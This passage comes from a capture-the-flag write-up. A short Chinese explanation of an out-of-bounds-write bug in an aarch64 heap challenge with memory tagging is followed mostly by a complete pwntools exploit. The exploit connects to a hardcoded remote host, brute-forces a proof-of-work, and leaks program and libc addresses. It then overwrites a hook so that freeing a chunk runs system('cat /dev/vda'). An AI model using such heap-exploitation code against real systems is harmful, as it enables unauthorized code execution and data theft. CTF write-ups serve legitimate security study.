pl += b'b'*0x8 + p64(libc_base + 0x0000000000120894) + b'c'*0x28 + p64(system)
pl = pl.ljust(0x80 ,b'd') + b'cat /dev/vda\x00'
add(0x100, pl) #index 4
lg('libc_base', libc_base)
lg('free_hook', free_hook)
lg('system', system)
lg('stderr', stderr)
lg('IO_obstack_jumps', IO_obstack_jumps)
lg('stack', stack)
sla(b'choice: ', b'4')
p.recvuntil(b'Bye.\r\n')
scret = p.recvuntil(b'\x00')[:-1]
print('scret ----> ', scret, len(scret))
sla(b'Give me secret:', scret)
while 1 : pr()
BBO_PA
该程序是相当于开启了 MTE 保护的自定义堆管理程序。
漏洞点同 BBO_PT ,可以正向和反向任意越界写。通过调试后发现,修改第一个申请堆块的地址 - 0x3f010 + 0x200 地方为特定地址,再将正偏移 0x18 处修改为 0,那么就可以任意分配到特定地址,如果要控制第二个进行任意地址分配,那么修改的偏移就 + 0x20,就可以实现无限任意地址分配。泄露内存信息后攻击程序上的 hook,并且通过 free 一个 >= 0x80 的堆块来劫持程序执行流。注意这里不能 free 一个小堆块或者打栈,free 小堆块很难找到合适的 gadget 实现 RCE,打栈会触发异常,导致溢出到返回地址的 gadget 被打上标签。
exp
from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='aarch64', log_level='debug')
#p = process('./vuln')
remote_ip = '52.77.241.34'
remote_port = 10089
import string
import itertools
import re
from pwn import *
from hashlib import sha256
while 1:
p = remote(remote_ip, remote_port)
#p = remote('127.0.0.1', 10088)
rev = p.recvuntil(b' == ').decode()
pattern = r'xxxxx\+([a-zA-Z0-9]+)'
rev = re.search(pattern, rev).group(1)
target_digest = p.recv(64).decode()
characters = string.ascii_letters + string.digits
def generate_combinations(length):
if length == 0:
yield ''
else:
for char in characters:
for suffix in generate_combinations(length - 1):
yield char + suffix
result = ''
all_combinations = [''.join(comb) for comb in itertools.product(characters, repeat=4)]
top_list = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w']
for top in top_list:
print('top -> ' + top)
for comb in all_combinations:
proof = top + comb + rev
digest = sha256(proof.encode("utf8")).hexdigest()
if target_digest == digest:
result = top + comb
break
if result:
break
if result:
print('result -> ' + result)
p.sendlineafter(b'xxxxx:', result)
break
else:
print('try again')
p.close()
libc = ELF('lib/libc.so.6')
def add(size, data):
sla(b'choice: ', b'1')
sla(b'size: ', str(size))
if len(data) < size:
data += b'\n'
sa(b'content: ', data)
def edit(idx, offset, value):
sla(b'choice: ', b'2')
sla(b'index: ', str(idx))
sla(b'Offset: ', str(offset))
sla(b'content: ', str(value))
def free(idx):
sla(b'choice: ', b'3')
sla(b'index: ', str(idx))
#p = process(['./run.sh', 'rootfs.img'])
env = {'GLIBC_TUNABLES': 'glibc.mem.tagging=1'}
cmd1 = ['qemu-aarch64', '-L', './', './pwn']
cmd2 = ['qemu-aarch64', '-L', './', '-g', '1234', './pwn']
#p = process(cmd1)
mode = 1
for kk in range(5):
add(0x10, b'a') # index 0
for i in range(3):
edit(0, -0x10 + i, 0xff)
#edit(0, -1, 0)
addr = 0x0011f0
for i in range(4):
edit(0, -0x3f010 + 0x200 + i, (addr >> i*8) & 0xFF)
edit(0, -0x3f010 + 0x200 + 7, 0)
for i in range(8):
edit(0, -0x3f010 + 0x218 + i, 0)
add(0x7f, b'b'*0xf) #index 1
if mode:
p.recvuntil(b'b'*0xf + b'\x0d\x0a')
p.recvuntil(b'b'*0xf + b'\x0d\x0a')
pro_base = u64(p.recvuntil(b'\x0d\x0a')[:-2].ljust(8, b'\x00')) - 0x109d30
else:
p.recvuntil(b'b'*0xf + b'\n')
pro_base = u64(p.recvuntil(b'\n')[:-1].ljust(8, b'\x00')) + 0x5500000000 - 0x109d30
for i in range(3):
edit(1, -0x10 + i, 0xff)
add(0x20, b'b'*0xf) #index 2
addr = pro_base + 0x102fc8 - 0x18
for i in range(8):
edit(1, 0x20 + i, (addr >> i*8) & 0xFF)
for i in range(8):
edit(1, 0x38 + i, 0)
add(0x20, b'b'*0x7) #index 3
if mode:
p.recvuntil(b'b'*0x7 + b'\x0d\x0a')
p.recvuntil(b'b'*0x7 + b'\x0d\x0a')
libc_base = u64(p.recvuntil(b'\x0d\x0a')[:-2].ljust(8, b'\x00')) - 0x1714a0
else:
p.recvuntil(b'b'*0x7 + b'\n')
libc_base = u64(p.recvuntil(b'\n')[:-1].ljust(8, b'\x00')) - 0x1714a0
environ = libc_base + libc.sym['__environ']
stderr = libc_base + libc.sym['_IO_2_1_stderr_']
system, binsh = get_sb()
add(0x300, b'a') #index 4
ptr = pro_base + 0x1027C8 - 0x18
for i in range(8):
edit(1, 0x40 + 0x20 + i, (ptr >> i*8) & 0xFF)
for i in range(8):
edit(1, 0x58 + 0x20 + i, 0)
pl = b'cat /dev/vda\x00'.ljust(0x18, b'\x00')
pl += p64(ptr)
pl = pl.ljust(0x28) + p64(system)
add(0x300, pl) #index 6
free(4)
lg('pro_base', pro_base)
lg('libc_base', libc_base)
p.recvuntil(b'4\r\n')
scret = p.recvuntil(b'\x00')[:-1]
print('scret ----> ', scret, len(scret))
sla(b'choice: ', b'4')
p.recvuntil(b'Bye.\r\n')
sla(b'Give me secret:', scret)
while 1 : pr()